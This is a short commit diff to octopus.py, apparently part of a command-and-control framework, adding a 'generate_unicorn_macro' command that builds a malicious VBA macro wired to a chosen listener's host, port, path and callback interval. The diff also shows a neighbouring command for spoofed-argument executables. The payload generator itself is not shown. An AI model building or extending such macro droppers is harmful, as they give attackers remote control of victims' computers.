Add unicorn generation

octopus.py

@@ -163,6 +163,36 @@ def ctrlc(sig, frame):
                 print(colored("[-] Wrong listener selected !", "red"))
                 continue
 
+#generate_unicorn_macro
+
+        if command.split(" ")[0] == "generate_unicorn_macro":
+            try:
+                listener = command.split(" ")[1]
+                vba_path = command.split(" ")[2]
+            except IndexError:
+                print(colored("[-] Please select a listener and check your options !", "red"))
+                print(colored("Syntax :  generate_unicorn_macro listener_name output_path", "green"))
+                print(colored("Example : generate_unicorn_macro listener1 output_path", "yellow"))
+                continue
+
+            try:
+                hostname = listeners_information[listener][3]+":"+str(listeners_information[listener][2])
+                path = listeners_information[listener][5]
+                proto = listeners_information[listener][6]
+                interval = listeners_information[listener][4]
+
+                # check if protocol is True then https is used
+                if proto:
+                    proto_to_use = "https"
+                else:
+                    proto_to_use = "http"
+
+                generate_unicorn_macro(hostname, path, interval, proto_to_use, vba_path)
+            except KeyError:
+                print(colored("[-] Wrong listener selected !", "red"))
+                continue
+
+
 #generate_spoofed_args_exe
 
         if command.split(" ")[0] == "generate_spoofed_args_exe":